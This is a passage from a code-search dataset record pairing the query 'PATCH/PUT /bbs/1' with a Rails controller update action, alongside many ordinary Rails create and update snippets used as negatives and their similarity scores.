"def create\n #bird name must be present\n if params[:name].blank?\n render json: {\n status: 400,\n message: \"Fågelns namn måste anges.\" \n }\n end\n \n #latin name must be present\n if params[:latin].blank?\n render json: {\n status: 400,\n message: \"Fågelns latinska namn måste anges.\" \n }\n end\n \n #regularity must be present\n if params[:regularity].blank?\n render json: {\n status: 400,\n message: \"Fågelns regularitet måste anges.\" \n }\n end\n \n #check if bird already exists\n if Api::V1::Bird.exists?(:bird_name => params[:name])\n render json: {\n status: 400,\n message: \"Fågeln finns redan\" \n }\n else\n @bird = Api::V1::Bird.create(:bird_name => params[:name], :latin_name => params[:latin], :regularity => params[:regularity])\n render json: {\n status: 201,\n message: \"Fågeln är registrerad och finns nu i listan.\", \n bird: Api::V1::BirdSerializer.new(@bird) \n }\n end\n end",
"def create\n @bcard = Bcard.new(params[:bcard])\n\n respond_to do |format|\n if @bcard.save\n format.html { redirect_to @bcard, notice: 'Bcard was successfully created.' }\n format.json { render json: @bcard, status: :created, location: @bcard }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bcard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @breed = Breed.new(breed_params)\n @user = User.find(params[:user_id])\n @breed.user_id = @user.id\n# puts @breed\nlogger.info(@breed)\n\n if @breed.save!\n render json: @breed, status: :created\n else\n render json: @breed.errors, status: :unprocessable_entity\n end\n # render json: {breed: :breed_params}\n end",
"def create\n @boleta = Boleta.new(boleta_params)\n\n respond_to do |format|\n if @boleta.save\n format.html { redirect_to @boleta, notice: 'Boleta was successfully created.' }\n format.json { render :show, status: :created, location: @boleta }\n else\n format.html { render :new }\n format.json { render json: @boleta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bahan = Bahan.new(params[:bahan])\n\n respond_to do |format|\n if @bahan.save\n format.html { redirect_to @bahan, notice: 'Bahan was successfully created.' }\n format.json { render json: @bahan, status: :created, location: @bahan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bahan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @baby = Baby.new(baby_params)\n\n respond_to do |format|\n if @baby.save\n format.html { redirect_to @baby, notice: \"Baby was successfully created.\" }\n format.json { render :show, status: :created, location: @baby }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @baby.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @room.save\n respond_with(@room, location: bnb_rooms_url(@bnb))\n end",
"def create\n render json: Post.create(params[\"post\"])\n end",
"def create\n @baby = Baby.new(baby_params)\n\n respond_to do |format|\n if @baby.save\n format.html { redirect_to @baby, notice: 'Baby was successfully created.' }\n format.json { render :show, status: :created, location: @baby }\n else\n format.html { render :new }\n format.json { render json: @baby.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(bin_params)\n @rest.post('save', bin_params)\n end",
"def create\n @b_log = BLog.new(params[:b_log])\n\n respond_to do |format|\n if @b_log.save\n format.html { redirect_to @b_log, notice: 'B log was successfully created.' }\n format.json { render json: @b_log, status: :created, location: @b_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @b_log.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.6819664",
"0.64434904",
"0.6243959",
"0.6234521",
"0.61542755",
"0.60390276",
"0.60334337",
"0.603039",
"0.6004649",
"0.59964174",
"0.59896815",
"0.59720916",
"0.593884",
"0.59021103",
"0.5866441",
"0.58390075",
"0.58284444",
"0.5801121",
"0.5784998",
"0.5768846",
"0.57652175",
"0.5750887",
"0.5749243",
"0.5742405",
"0.5741958",
"0.5720278",
"0.5697256",
"0.5648451",
"0.5643522",
"0.5632332",
"0.5625893",
"0.5608663",
"0.56045544",
"0.55911016",
"0.55726916",
"0.55682844",
"0.5565244",
"0.556209",
"0.55540115",
"0.5552372",
"0.5531934",
"0.5524997",
"0.55233663",
"0.55137604",
"0.55126697",
"0.550344",
"0.55010414",
"0.5492783",
"0.5491696",
"0.5491429",
"0.54904187",
"0.5486195",
"0.54827344",
"0.5482153",
"0.5482153",
"0.5477232",
"0.54747266",
"0.5470458",
"0.5458888",
"0.5458266",
"0.54556227",
"0.5455521",
"0.5450865",
"0.54495746",
"0.54448724",
"0.5436163",
"0.54345024",
"0.54265285",
"0.54262966",
"0.5420231",
"0.540773",
"0.5407436",
"0.5407178",
"0.5406939",
"0.5401034",
"0.539854",
"0.53912586",
"0.53890973",
"0.53878486",
"0.5384207",
"0.5384003",
"0.5382648",
"0.5382306",
"0.53802985",
"0.537827",
"0.5376054",
"0.53759384",
"0.53674626",
"0.53621584",
"0.5361255",
"0.535777",
"0.5356163",
"0.5354439",
"0.5353428",
"0.5347106",
"0.5346837",
"0.53436166",
"0.5332294",
"0.5330805",
"0.53303677"
] | 0.6746908 | 1 |
PATCH/PUT /bbs/1 PATCH/PUT /bbs/1.json | def update
respond_to do |format|
if @bb.update(bb_params)
format.html { redirect_to @bb, notice: 'Bb was successfully updated.' }
format.json { render :show, status: :ok, location: @bb }
else
format.html { render :edit }
format.json { render json: @bb.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @bb = Bb.find(params[:id])\n\n respond_to do |format|\n if @bb.update_attributes(params[:bb])\n format.html { redirect_to @bb, notice: 'Bb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @boat.update(boat_params)\n head :no_content\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @bounty.update(bounty_params)\n format.html { redirect_to @bounty, notice: 'Bounty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bounty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @b = B.find(params[:id])\n\n respond_to do |format|\n if @b.update_attributes(params[:b])\n format.html { redirect_to @b, notice: 'B was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @b.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @kb = Kb.find(params[:id])\n\n respond_to do |format|\n if @kb.update_attributes(params[:kb])\n format.html { redirect_to @kb, :notice => 'Kb was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @kb.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bbhk.update(bbhk_params)\n format.html { redirect_to @bbhk, notice: 'Bbhk was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bbhk.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bla = Bla.find(params[:id])\n\n respond_to do |format|\n if @bla.update_attributes(params[:bla])\n format.html { redirect_to @bla, :notice => 'Bla was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bla.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @boc.update(boc_params)\n format.html { redirect_to @boc, notice: 'Boc was successfully updated.' }\n format.json { render :show, status: :ok, location: @boc }\n else\n format.html { render :edit }\n format.json { render json: @boc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @boook.update(boook_params)\n format.html { redirect_to @boook, notice: 'Boook was successfully updated.' }\n format.json { render :show, status: :ok, location: @boook }\n else\n format.html { render :edit }\n format.json { render json: @boook.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n puts \"update #{@need.as_json} #{updated_params.as_json}\"\n respond_to do |format|\n if @need.update(updated_params)\n puts \"brucep update success\"\n format.html { redirect_to new_need_path }\n format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bread.update(bread_params)\n format.html { redirect_to @bread, notice: 'パン情報を編集した.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bread.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bloque = Bloque.find(params[:id])\n\n if @bloque.update(params[:bloque])\n head :no_content\n else\n render json: @bloque.errors, status: :unprocessable_entity\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def restobooking\n @buchung = Buchung.find(params[:id])\n @buchung.status='B' \n \n respond_to do |format|\n if @buchung.update_attributes(params[:buchung])\n format.html { redirect_to @buchung, notice: 'Buchung wurde erfolgreich geaendert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @buchung.errors, status: :unprocessable_entity }\n end\n end \n end",
"def update\n @scrobble = Scrobble.find(params[:id])\n\n respond_to do |format|\n if @scrobble.update_attributes(params[:scrobble])\n format.html { redirect_to @scrobble, notice: 'Scrobble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scrobble.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bl = Bl.find(params[:id])\n\n respond_to do |format|\n if @bl.update_attributes(params[:bl])\n format.html { redirect_to @bl, notice: 'Bl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bl.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bunny.update(bunny_params)\n format.html { redirect_to @bunny, notice: 'Bunny was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bunny.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bnpb.update(bnpb_params)\n format.html { redirect_to @bnpb, notice: 'Bnpb was successfully updated.' }\n format.json { render :show, status: :ok, location: @bnpb }\n else\n format.html { render :edit }\n format.json { render json: @bnpb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @singleb.update(singleb_params)\n format.html { redirect_to @singleb, notice: 'Singleb was successfully updated.' }\n format.json { render :show, status: :ok, location: @singleb }\n else\n format.html { render :edit }\n format.json { render json: @singleb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @spkj_bsb=SpkjBsb.find(params[:id])\n @spkj_bsb.update_attributes(params[:spkj_bsb])\n\n respond_to do |format|\n format.html { redirect_to(\"/spkj_bsbs\") }\n format.json { render json: @spkj_bsb }\n end\n end",
"def update\n respond_to do |format|\n if @bacon.update(bacon_params)\n format.html { redirect_to @bacon, notice: 'Bacon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bacon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bp = Bp.find(params[:id])\n\n respond_to do |format|\n if @bp.update_attributes(params[:bp])\n format.html { redirect_to @bp, notice: 'Bp was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @weibo = Weibo.find(params[:id])\n\n respond_to do |format|\n if @weibo.update_attributes(params[:weibo])\n format.html { redirect_to @weibo, notice: 'Weibo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @weibo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @weibo = Weibo.find(params[:id])\n\n respond_to do |format|\n if @weibo.update_attributes(params[:weibo])\n format.html { redirect_to @weibo, notice: 'Weibo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @weibo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n @blast = Blast.find(params[:id])\n\n respond_to do |format|\n if @blast.update_attributes(params[:blast])\n format.html { redirect_to blasts_path, notice: 'Blast was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @blast.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bnote = Bnote.find(params[:id])\n\n respond_to do |format|\n if @bnote.update_attributes(params[:bnote])\n flash[:notice] = '信息更新成功.'\n format.html { redirect_to(bnotes_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bnote.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @basin = Basin.find(params[:id])\n\n respond_to do |format|\n if @basin.update_attributes(params[:basin])\n format.html { redirect_to @basin, notice: 'Basin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @basin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lob = Lob.find(params[:id])\n\n if @lob.update(lob_params)\n head :no_content\n else\n render json: @lob.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @breet.update(breet_params)\n format.html { redirect_to @breet, notice: 'Breet was successfully updated.' }\n format.json { render :show, status: :ok, location: @breet }\n else\n format.html { render :edit }\n format.json { render json: @breet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bucket_bloc.update(bucket_bloc_params)\n format.html { redirect_to @bucket_bloc, notice: 'Bucket bloc was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bucket_bloc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lob.update(lob_params)\n format.html { redirect_to root_url, notice: 'Lob was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @lob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @my_boice.update(my_boice_params)\n format.html { redirect_to @my_boice, notice: 'My boice was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_boice }\n else\n format.html { render :edit }\n format.json { render json: @my_boice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n end",
"def update\n @verb = Verb.find(params[:id])\n\n if @verb.update(verb_params)\n head :no_content\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @bits_1.update(bits_1_params)\n format.html { redirect_to @bits_1, notice: 'Bits 1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bits_1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n respond_to do |format|\n if @bitch.update(bitch_params)\n format.html { redirect_to @bitch, notice: 'Bitch was successfully updated.' }\n format.json { render :show, status: :ok, location: @bitch }\n else\n format.html { render :edit }\n format.json { render json: @bitch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @http_body = args[:http_body] if args.key?(:http_body)\n end",
"def update\n @brag = Brag.find(params[:id])\n\n respond_to do |format|\n if @brag.update_attributes(params[:brag])\n format.html { redirect_to @brag, notice: 'Brag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @brag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n req = ActiveSupport::JSON.decode(request.body)\n @bookmark = Bookmark.find(req)\n\n respond_to do |format|\n if @bookmark.update_attributes(params[:id])\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully updated.' }\n format.json { render json: @bookmark, status: :created, location: @bookmarks }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @broad = Broad.find(params[:id])\n\n respond_to do |format|\n if @broad.update_attributes(params[:broad])\n format.html { redirect_to @broad, notice: 'Broad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @broad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lbaa = Lbaa.find(params[:id])\n\n respond_to do |format|\n if @lbaa.update_attributes(params[:lbaa])\n format.html { redirect_to @lbaa, notice: 'Lbaa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lbaa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bussiness.update(bussiness_params)\n format.html { redirect_to current_user, notice: 'Business was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bussiness.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rb.update(rb_params)\n format.html { redirect_to rbs_path, notice: 'Erfolgreich bearbeitet.' }\n format.json { render :show, status: :ok, location: @rb }\n else\n format.html { render :edit }\n format.json { render json: @rb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bob = Bob.find(params[:id])\n\n respond_to do |format|\n if @bob.update_attributes(params[:bob])\n format.html { redirect_to @bob, notice: 'Bob was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bow.update(bow_params)\n format.html { redirect_to @bow, notice: 'Bow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sugar_bag = SugarBag.find(params[:id])\n\n respond_to do |format|\n if @sugar_bag.update_attributes(params[:sugar_bag])\n format.html { redirect_to @sugar_bag, notice: 'Sugar bag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sugar_bag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bid = Bid.find(params[:id])\n\n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ipc_boeing.update(ipc_boeing_params)\n format.html { redirect_to @ipc_boeing, notice: 'Ipc boeing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ipc_boeing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @boy = Boy.find(params[:id])\n\n respond_to do |format|\n if @boy.update_attributes(params[:boy])\n format.html { redirect_to @boy, notice: 'Boy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @boy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @boy = Boy.find(params[:id])\n\n respond_to do |format|\n if @boy.update_attributes(params[:boy])\n format.html { redirect_to @boy, notice: 'Boy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @boy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @boat = Boat.find(params[:id])\n\n respond_to do |format|\n if @boat.update_attributes(params[:boat])\n format.html { redirect_to(@boat, :notice => 'Boat was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @boat.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @ref_mkb = Ref::Mkb.find(params[:id])\n\n respond_to do |format|\n if @ref_mkb.update_attributes(params[:ref_mkb])\n format.html { redirect_to @ref_mkb, notice: 'Mkb was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ref_mkb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bingo.update(bingo_params)\n format.html { redirect_to @bingo, notice: \"Bingo was successfully updated.\" }\n format.json { render :show, status: :ok, location: @bingo }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @bingo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n respond_to do |format|\n if @bs_blog.update(bs_blog_params)\n format.html { redirect_to @bs_blog, notice: 'Bs blog was successfully updated.' }\n format.json { render :show, status: :ok, location: @bs_blog }\n else\n format.html { render :edit }\n format.json { render json: @bs_blog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @bid.update(bid_params)\n head :no_content\n else\n render json: @bid.errors, status: :unprocessable_entity\n end\n end",
"def update\n @scribble = Scribble.find(params[:id])\n\n respond_to do |format|\n if @scribble.update_attributes(params[:scribble])\n format.html { redirect_to @scribble, :notice => 'Scribble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @scribble.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @scribble = Scribble.find(params[:id])\n\n respond_to do |format|\n if @scribble.update_attributes(params[:scribble])\n format.html { redirect_to @scribble, :notice => 'Scribble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @scribble.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @scribble = Scribble.find(params[:id])\n\n respond_to do |format|\n if @scribble.update_attributes(params[:scribble])\n format.html { redirect_to @scribble, :notice => 'Scribble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @scribble.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @banana = Banana.find(params[:id])\n\n respond_to do |format|\n if @banana.update_attributes(params[:banana])\n format.html { redirect_to @banana, :notice => 'Banana was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @banana.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @boat = Boat.find(params[:id])\n\n respond_to do |format|\n if @boat.update_attributes(boat_params)\n=begin\n @user = User.find_by_mobile_no(@boat.mobile_no)\n @boat.user_id = @user.id if @user.present?\n @boat.save\n=end\n format.html {redirect_to @boat, notice: 'Boat was successfully updated.'}\n format.json {head :no_content}\n else\n format.html {render action: \"edit\"}\n format.json {render json: @boat.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n respond_to do |format|\n if @bid.update(bid_params)\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @banco.update(banco_params)\n format.html { redirect_to(:bancos, :notice => t('activerecord.successful.messages.updated', :model => @banco.class.model_name.human))}\n format.json { render :show, status: :ok, location: @banco }\n else\n format.html { render :edit }\n format.json { render :json => { :errors => @banco.errors.full_messages }, :status => 422 }\n end\n end\n end",
"def update\n prms = @boat_type.is_modification? ? modification_params : boat_type_params\n respond_to do |format|\n if @boat_type.update(prms)\n format.html { redirect_to edit_boat_type_path(@boat_type), notice: 'Тип лодки успешно обновлён' }\n format.json { render json: @boat_type.hash_view('control'), status: :ok}\n else\n format.html { render :edit }\n format.json { render json: @boat_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @blivot.update(blivot_params)\n format.html { redirect_to @blivot, notice: 'Blivot was successfully updated.' }\n format.json { render :show, status: :ok, location: @blivot }\n else\n format.html { render :edit }\n format.json { render json: @blivot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bemap = Bemap.find(params[:id])\n\n respond_to do |format|\n if @bemap.update_attributes(params[:bemap])\n format.html { redirect_to @bemap, notice: 'Bemap was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bemap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @businessbook = Businessbook.find(params[:id])\n\n respond_to do |format|\n if @businessbook.update_attributes(params[:businessbook])\n format.html { redirect_to @businessbook, :notice => 'Businessbook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @businessbook.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bottle.update(bottle_params)\n format.html { redirect_to user_path(current_user.id), notice: 'Bottle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bottle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @boolio.update( boolio_params )\n format.html { redirect_to @boolio, notice: 'Boolio was successfully updated.' }\n format.json { render :show, status: :ok, location: @boolio }\n else\n format.html { render :edit }\n format.json { render json: @boolio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bingo = Bingo.find(params[:id])\n\n respond_to do |format|\n if @bingo.update_attributes(params[:bingo])\n format.html { redirect_to(@bingo, :notice => 'Bingo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bingo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @bloom = Bloom.find(params[:id])\n\n respond_to do |format|\n if @bloom.update_attributes(params[:bloom])\n format.html { redirect_to @bloom, notice: 'Bloom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bloom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ba_spec = BaSpec.find(params[:id])\n\n respond_to do |format|\n if @ba_spec.update_attributes(params[:ba_spec])\n format.html { redirect_to session[:return_to] }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ba_spec.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n respond_to do |format|\n if @cat_blok.update(cat_blok_params)\n format.html { redirect_to cat_bloks_url, notice: 'Cat blok was successfully updated.' }\n format.json { render :show, status: :ok, location: @cat_blok }\n else\n format.html { render :edit }\n format.json { render json: @cat_blok.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @boleta.update(boleta_params)\n format.html { redirect_to @boleta, notice: 'Boleta was successfully updated.' }\n format.json { render :show, status: :ok, location: @boleta }\n else\n format.html { render :edit }\n format.json { render json: @boleta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bolt.update(bolt_params)\n format.html { redirect_to @bolt, notice: 'Bolt was successfully updated.' }\n format.json { render :show, status: :ok, location: @bolt }\n else\n format.html { render :edit }\n format.json { render json: @bolt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bike = Bike.find(params[:id])\n\n respond_to do |format|\n if @bike.update_attributes(params[:bike])\n format.html { redirect_to @bike, notice: 'Bike was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bike.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @c_bell.update(c_bell_params)\n format.html { redirect_to @c_bell, notice: 'C bell was successfully updated.' }\n format.json { render :show, status: :ok, location: @c_bell }\n else\n format.html { render :edit }\n format.json { render json: @c_bell.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @api_book = Api::Book.find(params[:id])\n\n if @api_book.update(api_book_params)\n head :no_content\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end",
